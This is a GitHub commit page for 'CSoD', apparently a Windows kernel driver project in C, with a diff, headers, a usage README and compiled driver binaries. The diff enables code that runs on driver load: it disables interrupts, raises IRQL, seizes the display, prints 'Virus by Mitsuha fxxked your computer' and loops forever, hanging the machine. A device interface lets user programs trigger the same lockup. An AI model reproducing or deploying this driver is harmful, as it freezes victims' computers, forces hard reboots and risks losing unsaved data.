Skip to content

Commit

Permalink
bug fixes
Browse files Browse the repository at this point in the history
  • Loading branch information
caizhe666 committed Jun 23, 2021
1 parent 2381afb commit e6bc18d
Show file tree
Hide file tree
Showing 7 changed files with 241 additions and 55 deletions.
174 changes: 122 additions & 52 deletions CSoD/CSoD.c
Original file line number Diff line number Diff line change
Expand Up @@ -2,8 +2,6 @@
#include "BOOTVID.h"
#include "ControlCode.h"

#define _CSoD_COLORFUL_SCREEN 0

PDEVICE_OBJECT g_pDeviceObject = NULL;
UNICODE_STRING g_uniSymbolName = RTL_CONSTANT_STRING(L"\\??\\CSoD");

Expand Down Expand Up @@ -173,67 +171,67 @@ DeviceIoControl(
if (ulInBufferLength == sizeof(CSoD_DATA))
switch (pStackLocation->Parameters.DeviceIoControl.IoControlCode)
{
case CTL_DO_CSoD:
{
nUsedLength = sizeof(CSoD_DATA);

_disable();
GainExlusivity();
KIRQL Irql = KeRaiseIrqlToDpcLevel();

if (InbvIsBootDriverInstalled())
{
InbvAcquireDisplayOwnership();
InbvResetDisplay();

if (pSystemBuffer->BackColor == BV_COLOR_COLORFUL)
InbvSolidColorFill(0, 0, SCREEN_WIDTH - 1, SCREEN_HEIGHT - 1, BV_COLOR_WHITE);
else
InbvSolidColorFill(0, 0, SCREEN_WIDTH - 1, SCREEN_HEIGHT - 1, pSystemBuffer->BackColor);
case CTL_DO_CSoD:
{
nUsedLength = sizeof(CSoD_DATA);

if (pSystemBuffer->TextColor == BV_COLOR_COLORFUL)
InbvSetTextColor(BV_COLOR_WHITE);
else
InbvSetTextColor(pSystemBuffer->TextColor);
_disable();
KIRQL Irql = KeRaiseIrqlToDpcLevel();
//GainExlusivity();

InbvInstallDisplayStringFilter(NULL);
InbvEnableDisplayString(TRUE);
InbvSetScrollRegion(0, 0, SCREEN_WIDTH - 1, SCREEN_HEIGHT - 1);
}
if (InbvIsBootDriverInstalled())
{
InbvAcquireDisplayOwnership();
InbvResetDisplay();

if (pSystemBuffer->BackColor == BV_COLOR_COLORFUL)
InbvSolidColorFill(0, 0, SCREEN_WIDTH - 1, SCREEN_HEIGHT - 1, BV_COLOR_WHITE);
else
InbvSolidColorFill(0, 0, SCREEN_WIDTH - 1, SCREEN_HEIGHT - 1, pSystemBuffer->BackColor);

if (pSystemBuffer->TextColor == BV_COLOR_COLORFUL)
InbvSetTextColor(BV_COLOR_WHITE);
else
InbvSetTextColor(pSystemBuffer->TextColor);

InbvInstallDisplayStringFilter(NULL);
InbvEnableDisplayString(TRUE);
InbvSetScrollRegion(0, 0, SCREEN_WIDTH - 1, SCREEN_HEIGHT - 1);
}

InbvDisplayString((PUCHAR)pSystemBuffer->Text);
InbvDisplayString((PUCHAR)pSystemBuffer->Text);

if (pSystemBuffer->TextColor == BV_COLOR_COLORFUL || pSystemBuffer->BackColor == BV_COLOR_COLORFUL)
while (TRUE)
for (SHORT i = 0; i < BV_MAX_COLORS; InterlockedIncrement16(&i))
for (SHORT j = 0; j < BV_MAX_COLORS; InterlockedIncrement16(&j))
if (InbvIsBootDriverInstalled())
{
if (pSystemBuffer->BackColor == BV_COLOR_COLORFUL)
InbvSolidColorFill(0, 0, SCREEN_WIDTH - 1, SCREEN_HEIGHT - 1, i);
if (pSystemBuffer->TextColor == BV_COLOR_COLORFUL || pSystemBuffer->BackColor == BV_COLOR_COLORFUL)
while (TRUE)
for (SHORT i = 0; i < BV_MAX_COLORS; InterlockedIncrement16(&i))
for (SHORT j = 0; j < BV_MAX_COLORS; InterlockedIncrement16(&j))
if (InbvIsBootDriverInstalled())
{
if (pSystemBuffer->BackColor == BV_COLOR_COLORFUL)
InbvSolidColorFill(0, 0, SCREEN_WIDTH - 1, SCREEN_HEIGHT - 1, i);

if (pSystemBuffer->TextColor == BV_COLOR_COLORFUL)
InbvSetTextColor(j);
if (pSystemBuffer->TextColor == BV_COLOR_COLORFUL)
InbvSetTextColor(j);

InbvSetScrollRegion(0, 0, SCREEN_WIDTH - 1, SCREEN_HEIGHT - 1);
InbvSetScrollRegion(0, 0, SCREEN_WIDTH - 1, SCREEN_HEIGHT - 1);

InbvDisplayString((PUCHAR)pSystemBuffer->Text);
InbvDisplayString((PUCHAR)pSystemBuffer->Text);

for (LONG w = 0; w < 1024; InterlockedIncrement(&w))
;
}
for (LONG w = 0; w < 1024; InterlockedIncrement(&w))
__nop();
}

while (TRUE)
;
while (TRUE)
__nop();

KeLowerIrql(Irql);
ReleaseExclusivity();
_enable();
}
//ReleaseExclusivity();
KeLowerIrql(Irql);
_enable();
}

default:
ntStatus = STATUS_INVALID_DEVICE_REQUEST;
break;
default:
ntStatus = STATUS_INVALID_DEVICE_REQUEST;
break;
}

pIrp->IoStatus.Information = nUsedLength;
Expand All @@ -255,6 +253,9 @@ DriverUnload(
IoDeleteSymbolicLink(&g_uniSymbolName);
}

#define _CSoD_ON_LOAD TRUE
#define _CSoD_COLORFUL_SCREEN FALSE

NTSTATUS
DriverEntry(
IN PDRIVER_OBJECT pDriverObject,
Expand All @@ -278,5 +279,74 @@ DriverEntry(
IoCreateSymbolicLink(&g_uniSymbolName, &uniDeviceName);
}

#if _CSoD_ON_LOAD
_disable();
KIRQL Irql = KeRaiseIrqlToDpcLevel();
//GainExlusivity();

if (InbvIsBootDriverInstalled())
{
InbvAcquireDisplayOwnership();
InbvResetDisplay();

#if _CSoD_COLORFUL_SCREEN
USHORT LastWidth = 0,
LastHeight = 0;

for (USHORT Width = 0; Width < SCREEN_WIDTH; Width++)
{
for (USHORT Height = 0; Height < SCREEN_HEIGHT; Height++)
{
InbvSolidColorFill(LastWidth, LastHeight, Width, Height, BV_MAX_COLORS - ((Width + Height) % BV_MAX_COLORS));

LastHeight = Height;
}

LastWidth = Width;
}
#else
InbvSolidColorFill(0, 0, SCREEN_WIDTH - 1, SCREEN_HEIGHT - 1, BV_COLOR_WHITE);
#endif

InbvSetTextColor(BV_COLOR_RED);
InbvInstallDisplayStringFilter(NULL);
InbvEnableDisplayString(TRUE);
InbvSetScrollRegion(0, 0, SCREEN_WIDTH - 1, SCREEN_HEIGHT - 1);
}

CHAR Text1[] = "Virus by Mitsuha fxxked your computer so you got a strange CSoD.";

for (SHORT j = 0; j < SCREEN_HEIGHT / CHAR_HEIGHT; InterlockedIncrement16(&j))
{
for (SHORT i = 0; i < (SCREEN_WIDTH / CHAR_WIDTH - sizeof(Text1) + 1) / 2; InterlockedIncrement16(&i))
InbvDisplayString((PUCHAR)" ");
InbvDisplayString((PUCHAR)Text1);
InbvDisplayString((PUCHAR)"\r\n");
}

while (TRUE)
for (USHORT Color = 0; Color < BV_MAX_COLORS; Color++)
{
InbvSolidColorFill(0, 0, SCREEN_WIDTH - 1, SCREEN_HEIGHT - 1, Color);

InbvSetTextColor(BV_MAX_COLORS - Color);
InbvSetScrollRegion(0, 0, SCREEN_WIDTH - 1, SCREEN_HEIGHT - 1);
for (SHORT j = 0; j < SCREEN_HEIGHT / CHAR_HEIGHT; InterlockedIncrement16(&j))
{
for (SHORT i = 0; i < (SCREEN_WIDTH / CHAR_WIDTH - sizeof(Text1) + 1) / 2; InterlockedIncrement16(&i))
InbvDisplayString((PUCHAR)" ");
InbvDisplayString((PUCHAR)Text1);
InbvDisplayString((PUCHAR)"\r\n");
}
}

while (TRUE)
__nop();

//ReleaseExclusivity();
KeLowerIrql(Irql);
_enable();
#endif

return STATUS_SUCCESS;
}
6 changes: 3 additions & 3 deletions CSoD/ControlCode.h
Original file line number Diff line number Diff line change
Expand Up @@ -63,8 +63,8 @@

typedef struct _CSoD_DATA
{
UCHAR BackColor;
UCHAR TextColor;
UCHAR BackColor; //背景色(BV_COLOR_COLORFUL为动态变化)
UCHAR TextColor; //文字色(BV_COLOR_COLORFUL为动态变化)

CHAR Text[(SCREEN_WIDTH / CHAR_WIDTH) * (SCREEN_HEIGHT / CHAR_HEIGHT)];
CHAR Text[(SCREEN_WIDTH / CHAR_WIDTH) * (SCREEN_HEIGHT / CHAR_HEIGHT)]; //文字
}CSoD_DATA, * PCSoD_DATA;
Binary file added CSoDLib.7z
Binary file not shown.
Binary file added CSoDLib/CSoD_x64.sys
Binary file not shown.
Binary file added CSoDLib/CSoD_x86.sys
Binary file not shown.
70 changes: 70 additions & 0 deletions CSoDLib/ControlCode.h
Original file line number Diff line number Diff line change
@@ -0,0 +1,70 @@
#pragma once

#ifndef CTL_CODE
#define CTL_CODE( DeviceType, Function, Method, Access ) ( \
((DeviceType) << 16) | ((Access) << 14) | ((Function) << 2) | (Method) \
)
#endif

#ifndef METHOD_BUFFERED
#define METHOD_BUFFERED 0
#endif

#ifndef FILE_DEVICE_UNKNOWN
#define FILE_DEVICE_UNKNOWN 0x00000022
#endif

#ifndef FILE_ANY_ACCESS
#define FILE_ANY_ACCESS 0
#endif

#ifndef FILE_SPECIAL_ACCESS
#define FILE_SPECIAL_ACCESS (FILE_ANY_ACCESS)
#endif

#ifndef FILE_READ_ACCESS
#define FILE_READ_ACCESS ( 0x0001 ) // file & pipe
#endif

#ifndef FILE_WRITE_ACCESS
#define FILE_WRITE_ACCESS ( 0x0002 ) // file & pipe
#endif

#define BV_COLOR_BLACK 0
#define BV_COLOR_RED 1
#define BV_COLOR_GREEN 2
#define BV_COLOR_BROWN 3
#define BV_COLOR_BLUE 4
#define BV_COLOR_MAGENTA 5
#define BV_COLOR_CYAN 6
#define BV_COLOR_DARK_GRAY 7
#define BV_COLOR_LIGHT_GRAY 8
#define BV_COLOR_LIGHT_RED 9
#define BV_COLOR_LIGHT_GREEN 10
#define BV_COLOR_YELLOW 11
#define BV_COLOR_LIGHT_BLUE 12
#define BV_COLOR_LIGHT_MAGENTA 13
#define BV_COLOR_LIGHT_CYAN 14
#define BV_COLOR_WHITE 15
#define BV_COLOR_NONE 16
#define BV_MAX_COLORS 16

#define BV_COLOR_COLORFUL 255

#define SCREEN_WIDTH 640
#define SCREEN_HEIGHT 400

#define CHAR_WIDTH 8
#define CHAR_HEIGHT 16

#define MAKECODE(Function,Access) (CTL_CODE(FILE_DEVICE_UNKNOWN,Function,METHOD_BUFFERED,Access))

#define CTL_DO_CSoD MAKECODE(0x1C05,FILE_WRITE_ACCESS)

typedef struct _CSoD_DATA
{
UCHAR BackColor;
UCHAR TextColor;

CHAR Text[(SCREEN_WIDTH / CHAR_WIDTH) * (SCREEN_HEIGHT / CHAR_HEIGHT)];
}CSoD_DATA, * PCSoD_DATA;
46 changes: 46 additions & 0 deletions CSoDLib/README.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1,46 @@
CSoD:Colorful Screen of Death

****************************************************
1.使用
1.使用前请加载好驱动!
2.本驱动会创建一个名为CSoD的设备,请使用CreateFile打开之以通信(独占设备,同时只能打开一次)
(HANDLE hDevice = CreateFileW(L"\\\\.\\CSoD", GENERIC_ALL, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);)
3.然后,请创建一个“CSoD_DATA”(在ControlCode.h中)类型的变量,并初始化之(成员解释请看注释)
CSoD_DATA Data = { 0 };
Data.BackColor = BV_COLOR_BLACK;
Data.TextColor = BV_COLOR_WHITE;
4.使用DeviceIoControl传入这个变量,并使用CTL_DO_CSoD控制码
BOOL bRet = DeviceIoControl(hDevice, CTL_DO_CSoD, &Data, sizeof(Data), NULL, 0, &dwReturned, NULL);
*****************************************************
2.实例
#include <iostream>
#include <Windows.h>
#include "ControlCode.h"
using namespace std;

INT
wmain(
IN PWCHAR wargv[],
IN UINT wargc
)
{
HANDLE hDevice = CreateFileW(L"\\\\.\\CSoD", GENERIC_ALL, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hDevice != INVALID_HANDLE_VALUE)
{
CSoD_DATA Data = { 0 };
Data.BackColor = BV_COLOR_COLORFUL;
Data.TextColor = BV_COLOR_COLORFUL;
strcpy_s(Data.Text, "Hello World!");

DWORD dwReturned = 0;
BOOL bRet = DeviceIoControl(hDevice, CTL_DO_CSoD, &Data, sizeof(Data), NULL, 0, &dwReturned, NULL);
if (bRet)
;
}

return GetLastError();
}

0 comments on commit e6bc18d

Please sign in to comment.